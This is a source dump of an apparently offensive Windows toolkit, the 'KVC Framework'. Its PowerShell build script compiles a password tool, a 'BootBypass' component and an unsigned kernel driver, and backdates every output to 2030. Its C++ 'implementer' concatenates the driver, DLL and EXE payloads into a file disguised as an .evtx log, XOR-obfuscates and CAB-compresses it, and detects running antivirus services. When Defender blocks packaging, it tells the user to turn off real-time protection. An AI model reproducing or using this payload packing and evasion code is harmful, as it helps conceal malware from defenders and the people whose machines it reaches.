<<<FILE: build.ps1>>>
Created:  2026-05-04 01:42:27
Modified: 2026-05-04 01:42:27
Size:     10.59 KB
[CmdletBinding()]
param(
    [string]$Configuration = "Release",
    [string]$Platform      = "x64",
    [string]$Timestamp     = "2030-01-01 00:00:00",

    # Component switches — omit all to build everything
    [switch]$implementer,
    [switch]$kvc,
    [switch]$kvc_crypt,
    [switch]$kvc_pass,
    [switch]$KvcXor,
    [switch]$kvcstrm,
    [switch]$kvc_smss
)

Set-StrictMode -Version 3.0
$ErrorActionPreference = "Stop"

$ProjectRoot = $PSScriptRoot
$BinDir      = Join-Path $ProjectRoot "bin"

# All usermode projects
$UserProjects = @(
    @{ Name = "implementer"; Switch = $implementer; Path = "Implementer\implementer.vcxproj";     OutputName = "implementer"; OutputExtension = ".exe" },
    @{ Name = "kvc";         Switch = $kvc;         Path = "kvc\kvc.vcxproj";                    OutputName = "kvc";         OutputExtension = ".exe" },
    @{ Name = "kvc_crypt";   Switch = $kvc_crypt;   Path = "kvc_pass\kvc_crypt.vcxproj";         OutputName = "kvc_crypt";   OutputExtension = ".dll" },
    @{ Name = "kvc_pass";    Switch = $kvc_pass;    Path = "kvc_pass\kvc_pass.vcxproj";          OutputName = "kvc_pass";    OutputExtension = ".exe" },
    @{ Name = "KvcXor";      Switch = $KvcXor;      Path = "kvcXor\KvcXor.vcxproj";              OutputName = "KvcXor";      OutputExtension = ".exe" },
    @{ Name = "kvc_smss";    Switch = $kvc_smss;    Path = "kvc_smss\BootBypass.vcxproj";        OutputName = "kvc_smss";    OutputExtension = ".exe" }
)

# kvcstrm outputs to the solution-level x64\Release\ (not under kvcstrm\)
$DriverProjectPath = Join-Path $ProjectRoot "kvcstrm\kvcstrm.vcxproj"
$DriverBuildRoot   = Join-Path $ProjectRoot "x64\$Configuration"          # C:\Projekty\KVC\x64\Release
$DriverPackageDir  = Join-Path $DriverBuildRoot "kvcstrm"                  # …\x64\Release\kvcstrm (inf/cat end up here)

# If no component switch was set, build everything
$BuildAll = -not ($implementer -or $kvc -or $kvc_crypt -or $kvc_pass -or $KvcXor -or $kvcstrm -or $kvc_smss)

function Write-Info([string]$Message)    { Write-Host $Message -ForegroundColor Cyan }
function Write-Step([string]$Message)    { Write-Host $Message -ForegroundColor DarkGray }
function Write-Success([string]$Message) { Write-Host $Message -ForegroundColor Green }
function Write-Failure([string]$Message) { Write-Host $Message -ForegroundColor Red }

function Parse-FixedTimestamp([string]$Value) {
    $styles = [System.Globalization.DateTimeStyles]::AllowWhiteSpaces -bor
              [System.Globalization.DateTimeStyles]::AssumeLocal
    try {
        return [datetime]::Parse($Value, [System.Globalization.CultureInfo]::InvariantCulture, $styles)
    }
    catch {
        throw "Invalid -Timestamp '$Value'. Example: 2030-01-01 00:00:00"
    }
}

function Set-FixedFileTimestamp {
    param(
        [Parameter(Mandatory)]
        [string[]]$Paths,
        [Parameter(Mandatory)]
        [datetime]$Value
    )
    foreach ($path in $Paths) {
        $item = Get-Item -LiteralPath $path
        $item.CreationTime   = $Value
        $item.LastWriteTime  = $Value
        $item.LastAccessTime = $Value
    }
}

function Get-LatestVsPath {
    $vswhere = Join-Path ${env:ProgramFiles(x86)} "Microsoft Visual Studio\Installer\vswhere.exe"
    if (Test-Path -LiteralPath $vswhere) {
        $p = & $vswhere -products * -requires Microsoft.Component.MSBuild -property installationPath -latest 2>$null
        if ($p) { return $p.Trim() }
        $p = & $vswhere -products * -requires Microsoft.Component.MSBuild -property installationPath -latest -prerelease 2>$null
        if ($p) { return $p.Trim() }
    }
    foreach ($ver in @("18","17","16")) {
        $path = Join-Path ${env:ProgramFiles} "Microsoft Visual Studio\$ver"
        if (Test-Path $path) {
            $edition = Get-ChildItem $path -Directory | Select-Object -First 1
            if ($edition) { return $edition.FullName }
        }
    }
    throw "Visual Studio with MSBuild was not found."
}

try {
    $fixedTimestamp     = Parse-FixedTimestamp -Value $Timestamp
    $fixedTimestampText = $fixedTimestamp.ToString("yyyy-MM-dd HH:mm:ss", [System.Globalization.CultureInfo]::InvariantCulture)
    $epoch              = [DateTimeOffset]::new($fixedTimestamp).ToUnixTimeSeconds()
    $env:SOURCE_DATE_EPOCH = [string]$epoch

    Write-Info "Starting KVC Framework Build."
    Write-Step "Fixed output timestamp : $fixedTimestampText"
    Write-Step "SOURCE_DATE_EPOCH      : $($env:SOURCE_DATE_EPOCH)"

    if ($BuildAll) {
        Write-Step "Components: ALL"
    } else {
        $sel = @($UserProjects | Where-Object { $_.Switch } | ForEach-Object { $_.Name })
        if ($kvcstrm) { $sel += "kvcstrm" }
        # kvc_smss is already in $UserProjects so it appears automatically
        Write-Step "Components: $($sel -join ', ')"
    }

    # Locate MSBuild
    $vsPath  = Get-LatestVsPath
    $msbuild = Get-ChildItem -Path $vsPath -Filter "MSBuild.exe" -Recurse |
               Where-Object { $_.FullName -match "amd64" } |
               Select-Object -ExpandProperty FullName -First 1
    if (-not $msbuild) {
        $msbuild = Get-ChildItem -Path $vsPath -Filter "MSBuild.exe" -Recurse |
                   Select-Object -ExpandProperty FullName -First 1
    }
    if (-not $msbuild -or -not (Test-Path -LiteralPath $msbuild)) {
        throw "MSBuild.exe was not found under: $vsPath"
    }
    Write-Step "MSBuild: $msbuild"

    # Ensure bin\ exists
    if (-not (Test-Path -LiteralPath $BinDir)) {
        New-Item -ItemType Directory -Path $BinDir | Out-Null
    }

    # ── Regular usermode projects ────────────────────────────────────────────
    foreach ($project in $UserProjects) {
        if (-not $BuildAll -and -not $project.Switch) { continue }

        $projectPath = Join-Path $ProjectRoot $project.Path
        if (-not (Test-Path -LiteralPath $projectPath)) {
            Write-Failure "Project file not found: $projectPath"
            continue
        }

        # Clean project-local obj\ before build — avoids stale incremental state
        # for projects whose IntDir lives inside the project directory (e.g. kvc_smss).
        $projectObjDir = Join-Path (Split-Path $projectPath -Parent) "obj"
        if (Test-Path -LiteralPath $projectObjDir) {
            Remove-Item -LiteralPath $projectObjDir -Recurse -Force
            Write-Step "Cleaned $($project.Name)\obj\"
        }

        Write-Info "Building $($project.Name)..."
        & $msbuild $projectPath `
            /p:Configuration=$Configuration `
            /p:Platform=$Platform `
            /p:SolutionDir="$ProjectRoot\" `
            /p:SOURCE_DATE_EPOCH=$epoch `
            /m /nologo /v:m
        if ($LASTEXITCODE -ne 0) {
            throw "Failed to build $($project.Name) (exit code $LASTEXITCODE)"
        }
        Write-Success "Built $($project.Name)"

        # Remove project-local obj\ after build so it does not persist between runs.
        if (Test-Path -LiteralPath $projectObjDir) {
            Remove-Item -LiteralPath $projectObjDir -Recurse -Force
            Write-Step "Removed $($project.Name)\obj\"
        }
    }

    # ── kvcstrm kernel driver ────────────────────────────────────────────────
    if ($BuildAll -or $kvcstrm) {
        if (-not (Test-Path -LiteralPath $DriverProjectPath)) {
            throw "kvcstrm project not found: $DriverProjectPath"
        }

        Write-Info "Building kvcstrm..."
        & $msbuild $DriverProjectPath `
            /t:Rebuild `
            /p:Configuration=$Configuration `
            /p:Platform=$Platform `
            /p:SolutionDir="$ProjectRoot\" `
            /p:SOURCE_DATE_EPOCH=$epoch `
            /p:SignMode=Off `
            /p:SkipPackageVerification=true `
            /p:ApiValidator_Enable=false `
            /m /nologo /v:m
        if ($LASTEXITCODE -ne 0) {
            throw "Failed to build kvcstrm (exit code $LASTEXITCODE)"
        }
        Write-Success "Built kvcstrm"

        # Copy only kvcstrm.sys to bin — inf/cat not needed for non-PNP deployment
        $sysSrc = Join-Path $DriverBuildRoot "kvcstrm.sys"
        if (-not (Test-Path -LiteralPath $sysSrc)) {
            # Some WDK configurations place the sys inside the package subdir
            $sysSrc = Join-Path $DriverPackageDir "kvcstrm.sys"
            if (-not (Test-Path -LiteralPath $sysSrc)) {
                throw "kvcstrm.sys not found after build (searched $DriverBuildRoot and $DriverPackageDir)"
            }
        }
        Copy-Item -LiteralPath $sysSrc -Destination (Join-Path $BinDir "kvcstrm.sys") -Force
        Write-Step "Staged kvcstrm.sys -> bin\"

        # Remove both x64 build output trees — kvcstrm.sys is already in bin\
        foreach ($buildTree in @(
            $DriverBuildRoot,                                  # C:\Projekty\KVC\x64\Release (and parent x64\)
            (Join-Path $ProjectRoot "kvcstrm\x64")            # C:\Projekty\KVC\kvcstrm\x64
        )) {
            # Walk up to the x64\ root and remove it entirely
            $x64Root = $buildTree
            while ($x64Root -and [System.IO.Path]::GetFileName($x64Root) -ne "x64") {
                $x64Root = [System.IO.Path]::GetDirectoryName($x64Root)
            }
            if ($x64Root -and (Test-Path -LiteralPath $x64Root)) {
                Remove-Item -LiteralPath $x64Root -Recurse -Force
                Write-Step "Removed build tree: $($x64Root.Substring($ProjectRoot.Length + 1))"
            }
        }
    }

    # ── Remove obj\ intermediate directory ──────────────────────────────────
    $objRoot = Join-Path $ProjectRoot "obj"
    if (Test-Path -LiteralPath $objRoot) {
        Remove-Item -LiteralPath $objRoot -Recurse -Force
        Write-Step "Removed build tree: obj\"
    }

    # ── Stamp ALL bin\ files to fixed timestamp ──────────────────────────────
    $binFiles = Get-ChildItem -LiteralPath $BinDir -File
    if ($binFiles) {
        $needsStamp = @($binFiles |
            Where-Object { $_.LastWriteTime -ne $fixedTimestamp } |
            Select-Object -ExpandProperty FullName)
        if ($needsStamp) {
            Set-FixedFileTimestamp -Paths $needsStamp -Value $fixedTimestamp
            Write-Step "Stamped $($needsStamp.Count) file(s) in bin\ -> $fixedTimestampText"
        } else {
            Write-Step "All bin\ files already have timestamp $fixedTimestampText"
        }
    }

    Write-Success "KVC Framework build completed successfully."
}
catch {
    Write-Failure $_.Exception.Message
    exit 1
}

<<<FILE: Implementer/implementer.cpp>>>
Created:  2026-04-07 00:03:51
Modified: 2026-04-08 21:59:37
Size:     28.93 KB
#include <iostream>
#include <fstream>
#include <vector>
#include <array>
#include <string>
#include <string_view>
#include <span>
#include <ranges>
#include <algorithm>
#include <filesystem>
#include <optional>
#include <variant>
#include <cstdint>
#include <map>
#include <sstream>
#include <format>
#include <expected>

#ifdef _WIN32
#define NOMINMAX
#include <windows.h>
#include <fci.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <io.h>
#pragma comment(lib, "cabinet.lib")
#pragma comment(lib, "advapi32.lib")
#endif

namespace fs = std::filesystem;
namespace rng = std::ranges;

// XOR key (same as PowerShell version)
constexpr std::array<uint8_t, 7> XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };

// Default file paths
constexpr std::string_view DEFAULT_CONFIG = "kvc.ini";
constexpr std::string_view TEMP_EVTX = "kvc.evtx";
constexpr std::string_view TEMP_CAB = "kvc.cab";

// Console colors
enum class Color : int {
    Default = 7,
    Green = 10,
    Red = 12,
    Yellow = 14,
    Cyan = 11
};

void set_color(Color color) {
#ifdef _WIN32
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), static_cast<int>(color));
#else
    switch (color) {
        case Color::Green:   std::cout << "\033[32m"; break;
        case Color::Red:     std::cout << "\033[31m"; break;
        case Color::Yellow:  std::cout << "\033[33m"; break;
        case Color::Cyan:    std::cout << "\033[36m"; break;
        case Color::Default: std::cout << "\033[0m";  break;
    }
#endif
}

void reset_color() {
    set_color(Color::Default);
}

// RAII color guard
class ColorGuard {
public:
    explicit ColorGuard(Color new_color) {
        set_color(new_color);
    }
    ~ColorGuard() {
        reset_color();
    }
    ColorGuard(const ColorGuard&) = delete;
    ColorGuard& operator=(const ColorGuard&) = delete;
};

// Modern Result type using std::expected (C++23)
template<typename T>
using Result = std::expected<T, std::string>;

// Specialization for void
using ResultVoid = std::expected<void, std::string>;

// Configuration structure
struct Config {
    std::vector<std::string> payload_files;
    std::string icon_file;
    std::string output_file;
};

struct RunOptions {
    std::string config_file{ std::string(DEFAULT_CONFIG) };
    bool keep_temp_files{ false };
};

// WinAPI file operations
class WinFile {
    HANDLE handle{ INVALID_HANDLE_VALUE };
    
public:
    WinFile() = default;
    
    WinFile(const std::string& filename, DWORD desiredAccess, DWORD creationDisposition) {
        std::wstring wide_name;
        int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
        if (size > 0) {
            wide_name.resize(size);
            MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_name.data(), size);
        }
        
        handle = CreateFileW(
            wide_name.c_str(),
            desiredAccess,
            FILE_SHARE_READ,
            nullptr,
            creationDisposition,
            FILE_ATTRIBUTE_NORMAL,
            nullptr
        );
    }
    
    ~WinFile() {
        if (is_valid()) {
            CloseHandle(handle);
        }
    }
    
    bool is_valid() const { return handle != INVALID_HANDLE_VALUE; }
    HANDLE get() const { return handle; }
    
    WinFile(const WinFile&) = delete;
    WinFile& operator=(const WinFile&) = delete;
    
    WinFile(WinFile&& other) noexcept : handle(other.handle) {
        other.handle = INVALID_HANDLE_VALUE;
    }
    
    WinFile& operator=(WinFile&& other) noexcept {
        if (this != &other) {
            if (is_valid()) {
                CloseHandle(handle);
            }
            handle = other.handle;
            other.handle = INVALID_HANDLE_VALUE;
        }
        return *this;
    }
};

// Check if file exists using WinAPI
bool file_exists_winapi(const std::string& filename) {
    std::wstring wide_filename;
    int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
    if (size > 0) {
        wide_filename.resize(size);
        MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_filename.data(), size);
    }
    
    DWORD attrs = GetFileAttributesW(wide_filename.c_str());
    return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
}

// Get file size using WinAPI
Result<size_t> get_file_size_winapi(const std::string& filename) {
    std::wstring wide_filename;
    int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
    if (size > 0) {
        wide_filename.resize(size);
        MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_filename.data(), size);
    }
    
    WIN32_FILE_ATTRIBUTE_DATA fileInfo;
    if (!GetFileAttributesExW(wide_filename.c_str(), GetFileExInfoStandard, &fileInfo)) {
        return std::unexpected("Cannot get file size: " + filename);
    }
    
    return (static_cast<uint64_t>(fileInfo.nFileSizeHigh) << 32) | fileInfo.nFileSizeLow;
}

// Helper functions
std::string format_size_kb(size_t bytes) {
    return std::format("{:.2f} KB", bytes / 1024.0);
}

std::string trim(std::string_view str) {
    const auto start = str.find_first_not_of(" \t\r\n");
    if (start == std::string_view::npos) return "";
    const auto end = str.find_last_not_of(" \t\r\n");
    return std::string(str.substr(start, end - start + 1));
}

std::vector<std::string> split_list(std::string_view value, char delimiter = ',') {
    std::vector<std::string> items;
    size_t start = 0;

    while (start <= value.size()) {
        const size_t end = value.find(delimiter, start);
        const auto token = (end == std::string_view::npos)
            ? value.substr(start)
            : value.substr(start, end - start);

        std::string item = trim(token);
        if (!item.empty()) {
            items.push_back(std::move(item));
        }

        if (end == std::string_view::npos) {
            break;
        }

        start = end + 1;
    }

    return items;
}

// Read entire file into vector using WinAPI
Result<std::vector<uint8_t>> read_file_winapi(const std::string& filename) {
    WinFile file(filename, GENERIC_READ, OPEN_EXISTING);
    if (!file.is_valid()) {
        return std::unexpected("Cannot open file: " + filename);
    }

    auto size_result = get_file_size_winapi(filename);
    if (!size_result) {
        return std::unexpected(size_result.error());
    }

    std::vector<uint8_t> data(size_result.value());
    DWORD bytesRead = 0;
    
    if (!ReadFile(file.get(), data.data(), static_cast<DWORD>(data.size()), &bytesRead, nullptr)) {
        return std::unexpected("Error reading file: " + filename);
    }

    if (bytesRead != data.size()) {
        return std::unexpected("Incomplete read of file: " + filename);
    }

    return data;
}

// Write data to file using WinAPI
ResultVoid write_file_winapi(const std::string& filename, std::span<const uint8_t> data) {
    WinFile file(filename, GENERIC_WRITE, CREATE_ALWAYS);
    if (!file.is_valid()) {
        return std::unexpected("Cannot create file: " + filename);
    }

    DWORD bytesWritten = 0;
    if (!WriteFile(file.get(), data.data(), static_cast<DWORD>(data.size()), &bytesWritten, nullptr)) {
        return std::unexpected("Error writing to file: " + filename);
    }

    if (bytesWritten != data.size()) {
        return std::unexpected("Incomplete write to file: " + filename);
    }

    return {};
}

// XOR operation
// Auto-vectorization disabled: MSVC generates AVX2 (vpermd/vpsllvd) for i%key.size()
// which crashes on CPUs without AVX2 support (pre-Haswell / Ivy Bridge and older).
#pragma optimize("", off)
void xor_data(std::span<uint8_t> data, std::span<const uint8_t> key) noexcept {
    for (size_t i = 0; i < data.size(); ++i) {
        data[i] ^= key[i % key.size()];
    }
}
#pragma optimize("", on)

// Read INI configuration
Result<Config> read_config(const std::string& config_path) {
    auto file_result = read_file_winapi(config_path);
    if (!file_result) {
        return std::unexpected(file_result.error());
    }

    Config config;
    std::string content(file_result->begin(), file_result->end());
    std::istringstream stream(content);
    std::string line;
    std::string current_section;

    while (std::getline(stream, line)) {
        line = trim(line);
        
        if (line.empty() || line[0] == '#' || line[0] == ';') {
            continue;
        }

        // Section header
        if (line.starts_with('[') && line.ends_with(']')) {
            current_section = line.substr(1, line.length() - 2);
            continue;
        }

        // Key=Value pair
        size_t pos = line.find('=');
        if (pos != std::string::npos) {
            if (!current_section.empty() && current_section != "Files") {
                continue;
            }

            std::string key = trim(line.substr(0, pos));
            std::string value = trim(line.substr(pos + 1));

            if (key == "DriverFile" || key == "DllFile" || key == "PayloadFile" || key == "ExeFile") {
                auto files = split_list(value);
                config.payload_files.insert(
                    config.payload_files.end(),
                    std::make_move_iterator(files.begin()),
                    std::make_move_iterator(files.end())
                );
            } else if (key == "IconFile") {
                config.icon_file = value;
            } else if (key == "OutputFile") {
                config.output_file = value;
            }
        }
    }

    // Validate config
    if (config.payload_files.empty() || config.icon_file.empty() || config.output_file.empty()) {
        return std::unexpected("Incomplete configuration in INI file");
    }

    return config;
}

void print_usage(std::string_view exe_name) {
    std::cout << "Usage: " << exe_name << " [config.ini] [--keep-temp]\n";
    std::cout << "  config.ini   Optional configuration file path (default: " << DEFAULT_CONFIG << ")\n";
    std::cout << "  --keep-temp  Keep kvc.evtx and kvc.cab after successful packaging\n";
}

Result<RunOptions> parse_command_line(int argc, char* argv[]) {
    RunOptions options;
    bool config_specified = false;

    for (int i = 1; i < argc; ++i) {
        std::string_view arg = argv[i];

        if (arg == "--keep-temp" || arg == "-keep-temp") {
            options.keep_temp_files = true;
            continue;
        }

        if (arg == "--help" || arg == "-h" || arg == "/?") {
            print_usage(argc > 0 ? argv[0] : "implementer.exe");
            return std::unexpected("");
        }

        if (!arg.empty() && arg.front() == '-') {
            return std::unexpected("Unknown option: " + std::string(arg));
        }

        if (config_specified) {
            return std::unexpected("Multiple configuration files specified");
        }

        options.config_file = std::string(arg);
        config_specified = true;
    }

    return options;
}

#ifdef _WIN32
// Cabinet API callback structures
struct CabContext {
    std::string input_file;
    std::string output_file;
    UINT temp_file_counter = 0;
};

// FCI callbacks
FNFCIALLOC(fci_alloc) {
    return malloc(cb);
}

FNFCIFREE(fci_free) {
    free(memory);
}

FNFCIOPEN(fci_open) {
    int flags = 0;
        
    if (oflag & _O_RDWR) flags = GENERIC_READ | GENERIC_WRITE;
    else if (oflag & _O_WRONLY) flags = GENERIC_WRITE;
    else flags = GENERIC_READ;
    
    DWORD creation = OPEN_EXISTING;
    if (oflag & _O_CREAT) {
        creation = CREATE_ALWAYS;
    }
    
    HANDLE handle = CreateFileA(
        pszFile,
        flags,
        FILE_SHARE_READ,
        nullptr,
        creation,
        FILE_ATTRIBUTE_NORMAL,
        nullptr
    );
    
    return (INT_PTR)handle;
}

FNFCIREAD(fci_read) {
    DWORD bytesRead = 0;
    if (!ReadFile((HANDLE)hf, memory, cb, &bytesRead, nullptr)) {
        return -1;
    }
    return bytesRead;
}

FNFCIWRITE(fci_write) {
    DWORD bytesWritten = 0;
    if (!WriteFile((HANDLE)hf, memory, cb, &bytesWritten, nullptr)) {
        return -1;
    }
    return bytesWritten;
}

FNFCICLOSE(fci_close) {
    CloseHandle((HANDLE)hf);
    return 0;
}

FNFCISEEK(fci_seek) {
    return SetFilePointer((HANDLE)hf, dist, nullptr, seektype);
}

FNFCIDELETE(fci_delete) {
    DeleteFileA(pszFile);
    return 0;
}

FNFCIGETTEMPFILE(fci_get_temp_file) {
    CabContext* ctx = static_cast<CabContext*>(pv);
    snprintf(pszTempName, cbTempName, "temp_cab_%u.tmp", ctx->temp_file_counter++);
    return TRUE;
}

FNFCIGETNEXTCABINET(fci_get_next_cabinet) {
    return TRUE;
}

FNFCIFILEPLACED(fci_file_placed) {
    return 0;
}

FNFCISTATUS(fci_status) {
    return 0;
}

FNFCIGETOPENINFO(fci_get_open_info) {
    WIN32_FIND_DATAA findData;
    HANDLE findHandle = FindFirstFileA(pszName, &findData);
    
    if (findHandle == INVALID_HANDLE_VALUE) {
        return -1;
    }
    FindClose(findHandle);
    
    FILETIME ftLocal;
    FileTimeToLocalFileTime(&findData.ftLastWriteTime, &ftLocal);
    FileTimeToDosDateTime(&ftLocal, pdate, ptime);
    
    *pattribs = findData.dwFileAttributes & 
               (FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN | 
                FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_ARCHIVE);
    
    HANDLE handle = CreateFileA(
        pszName,
        GENERIC_READ,
        FILE_SHARE_READ,
        nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        nullptr
    );
    
    if (handle == INVALID_HANDLE_VALUE) {
        return -1;
    }
    
    return (INT_PTR)handle;
}

// Create CAB file
ResultVoid create_cab_file(const std::string& input_file, const std::string& output_file) {
    CabContext context;
    context.input_file = input_file;
    context.output_file = output_file;

    ERF erf = {};
    CCAB ccab = {};
    
    // Setup cabinet parameters
    ccab.cb = 0x7FFFFFFF;  // Max cabinet size
    ccab.cbFolderThresh = 0x7FFFFFFF;
    ccab.cbReserveCFHeader = 0;
    ccab.cbReserveCFFolder = 0;
    ccab.cbReserveCFData = 0;
    ccab.iCab = 1;
    ccab.iDisk = 0;
    ccab.setID = 0;
    strncpy_s(ccab.szCab, output_file.c_str(), _TRUNCATE);
    strcpy_s(ccab.szCabPath, "");

    // Create FCI context
    HFCI hfci = FCICreate(
        &erf,
        fci_file_placed,
        fci_alloc,
        fci_free,
        fci_open,
        fci_read,
        fci_write,
        fci_close,
        fci_seek,
        fci_delete,
        fci_get_temp_file,
        &ccab,
        &context
    );

    if (!hfci) {
        return std::unexpected("Failed to create FCI context");
    }

    // Add file to cabinet with LZX compression
    BOOL result = FCIAddFile(
        hfci,
        const_cast<char*>(input_file.c_str()),
        const_cast<char*>(fs::path(input_file).filename().string().c_str()),
        FALSE,
        fci_get_next_cabinet,
        fci_status,
        fci_get_open_info,
        tcompTYPE_LZX | tcompLZX_WINDOW_HI
    );

    if (!result) {
        FCIDestroy(hfci);
        return std::unexpected("Failed to add file to cabinet");
    }

    // Flush and close cabinet
    result = FCIFlushCabinet(hfci, FALSE, fci_get_next_cabinet, fci_status);
    FCIDestroy(hfci);

    if (!result) {
        return std::unexpected("Failed to flush cabinet");
    }

    return {};
}
#endif

// Delete file using WinAPI
bool delete_file_winapi(const std::string& filename) {
    std::wstring wide_filename;
    int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
    if (size > 0) {
        wide_filename.resize(size);
        MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_filename.data(), size);
    }
    return DeleteFileW(wide_filename.c_str());
}

// Detect if Windows Defender (or any AV) is likely running
bool is_av_likely_active() {
#ifdef _WIN32
    // Quick heuristic: check if MsMpEng.exe or common AV processes are running
    // via Windows Security Center WMI query would be ideal but heavy;
    // instead we check if the Defender service is running
    SC_HANDLE scm = OpenSCManager(nullptr, nullptr, SC_MANAGER_ENUMERATE_SERVICE);
    if (!scm) return false;

    // Known AV service names (common ones)
    const char* av_services[] = {
        "WinDefend",       // Windows Defender
        "MsMpSvc",         // Defender legacy
        "AVP",             // Kaspersky
        "avast! Antivirus",
        "avgwd",           // AVG
        "McShield",        // McAfee
        "SAVService",      // Sophos
        "ekrn",            // ESET
        "bdagent",         // Bitdefender
        nullptr
    };

    for (int i = 0; av_services[i] != nullptr; ++i) {
        SC_HANDLE svc = OpenServiceA(scm, av_services[i], SERVICE_QUERY_STATUS);
        if (svc) {
            SERVICE_STATUS status{};
            bool running = QueryServiceStatus(svc, &status) &&
                           status.dwCurrentState == SERVICE_RUNNING;
            CloseServiceHandle(svc);
            if (running) {
                CloseServiceHandle(scm);
                return true;
            }
        }
    }
    CloseServiceHandle(scm);
#endif
    return false;
}

void print_av_warning() {
    const std::string border(60, '-');
    std::cout << "\n";
    {
        ColorGuard yellow(Color::Yellow);
        std::cout << "  " << border << "\n";
        std::cout << "  ! ANTIVIRUS / WINDOWS DEFENDER WARNING\n";
        std::cout << "  " << border << "\n";
        std::cout << "  Cabinet API (FCIAddFile) was blocked - this is a known\n";
        std::cout << "  symptom of real-time AV protection intercepting file\n";
        std::cout << "  operations on .sys / .dll payloads.\n\n";
        std::cout << "  To proceed:\n";
        std::cout << "    1. Open Windows Security\n";
        std::cout << "       -> Virus & threat protection\n";
        std::cout << "       -> Manage settings\n";
        std::cout << "       -> Turn OFF Real-time protection\n";
        std::cout << "    2. Or add this folder to exclusions:\n";

        // Print current directory
        char cwd[MAX_PATH];
        if (GetCurrentDirectoryA(MAX_PATH, cwd)) {
            std::cout << "       " << cwd << "\n";
        }

        std::cout << "    3. Re-run implementer.exe\n";
        std::cout << "    4. Re-enable protection after packaging\n\n";
        std::cout << "  Other AV products: temporarily disable real-time\n";
        std::cout << "  protection or add folder exclusion, then re-run.\n";
        std::cout << "  " << border << "\n";
    }
    std::cout << "\n";
}

// Main packaging function
ResultVoid package_files(const Config& config, bool keep_temp_files) {
    std::cout << "\n";
    {
        ColorGuard cyan(Color::Cyan);
        std::cout << "=== FILE PACKAGING SCRIPT ===\n";
    }
    {
        ColorGuard green(Color::Green);
        std::cout << "Starting packaging process...\n";
    }

    // Step 0: Display configuration
    std::cout << "\n";
    {
        ColorGuard yellow(Color::Yellow);
        std::cout << "Step 0: Configuration loaded\n";
    }
    std::cout << "  - Payload files: " << config.payload_files.size() << "\n";
    for (size_t i = 0; i < config.payload_files.size(); ++i) {
        std::cout << "    [" << (i + 1) << "] " << config.payload_files[i] << "\n";
    }
    std::cout << "  - Icon: " << config.icon_file << "\n";
    std::cout << "  - Output: " << config.output_file << "\n";

    // Step 1: Verify input files using WinAPI
    std::cout << "\n";
    {
        ColorGuard yellow(Color::Yellow);
        std::cout << "Step 1: Verifying input files...\n";
    }

    size_t total_payload_size = 0;
    for (const auto& file : config.payload_files) {
        if (!file_exists_winapi(file)) {
            ColorGuard red(Color::Red);
            std::cout << "  X File not found: " << file << "\n";
            
            // Debug info
            std::cout << "  Debug bytes: ";
            for (char c : file) {
                printf("%02X ", (unsigned char)c);
            }
            std::cout << "\n";
            
            return std::unexpected("ABORTING: Required file missing: " + file);
        }
        
        auto size_result = get_file_size_winapi(file);
        if (!size_result) {
            ColorGuard red(Color::Red);
            std::cout << "  X Cannot get size for: " << file << " - " << size_result.error() << "\n";
            return std::unexpected(size_result.error());
        }
        
        ColorGuard green(Color::Green);
        std::cout << "  + Found: " << file << " (" << format_size_kb(size_result.value()) << ")\n";
        total_payload_size += size_result.value();
    }

    if (!file_exists_winapi(config.icon_file)) {
        ColorGuard red(Color::Red);
        std::cout << "  X File not found: " << config.icon_file << "\n";
        return std::unexpected("ABORTING: Required file missing: " + config.icon_file);
    }

    auto icon_size_result = get_file_size_winapi(config.icon_file);
    if (!icon_size_result) {
        ColorGuard red(Color::Red);
        std::cout << "  X Cannot get size for: " << config.icon_file << " - " << icon_size_result.error() << "\n";
        return std::unexpected(icon_size_result.error());
    }

    {
        ColorGuard green(Color::Green);
        std::cout << "  + Found: " << config.icon_file << " (" << format_size_kb(icon_size_result.value()) << ")\n";
    }

    // Step 2: Build payload container
    std::cout << "\n";
    {
        ColorGuard yellow(Color::Yellow);
        std::cout << "Step 2: Building payload container...\n";
    }

    std::vector<uint8_t> concatenated_data;
    concatenated_data.reserve(total_payload_size);

    for (size_t i = 0; i < config.payload_files.size(); ++i) {
        const auto& file = config.payload_files[i];

        auto file_result = read_file_winapi(file);
        if (!file_result) {
            ColorGuard red(Color::Red);
            std::cout << "  X Failed to read payload file: " << file_result.error() << "\n";
            return std::unexpected(file_result.error());
        }

        concatenated_data.insert(
            concatenated_data.end(),
            file_result->begin(),
            file_result->end()
        );

        ColorGuard green(Color::Green);
        std::cout << "  + Added [" << (i + 1) << "/" << config.payload_files.size()
                  << "]: " << file << " (" << format_size_kb(file_result->size()) << ")\n";
    }

    auto write_result = write_file_winapi(std::string(TEMP_EVTX), concatenated_data);
    if (!write_result) {
        ColorGuard red(Color::Red);
        std::cout << "  X Failed to create payload container: " << write_result.error() << "\n";
        return std::unexpected(write_result.error());
    }

    {
        ColorGuard green(Color::Green);
        std::cout << "  + Created: " << TEMP_EVTX << " (" 
                  << format_size_kb(concatenated_data.size()) << ")\n";
    }

    // Step 3: Compress with CAB
    std::cout << "\n";
    {
        ColorGuard yellow(Color::Yellow);
        std::cout << "Step 3: Compressing with CAB...\n";
    }

#ifdef _WIN32
    auto cab_result = create_cab_file(std::string(TEMP_EVTX), std::string(TEMP_CAB));
    if (!cab_result) {
        {
            ColorGuard red(Color::Red);
            std::cout << "  X CAB compression failed: " << cab_result.error() << "\n";
        }
        // "Failed to add file to cabinet" is the exact error Defender produces
        // by blocking FCIAddFile mid-operation. Show AV advisory.
        if (cab_result.error().find("Failed to add file") != std::string::npos ||
            cab_result.error().find("Failed to create FCI") != std::string::npos) {
            print_av_warning();
        }
        return std::unexpected(cab_result.error());
    }

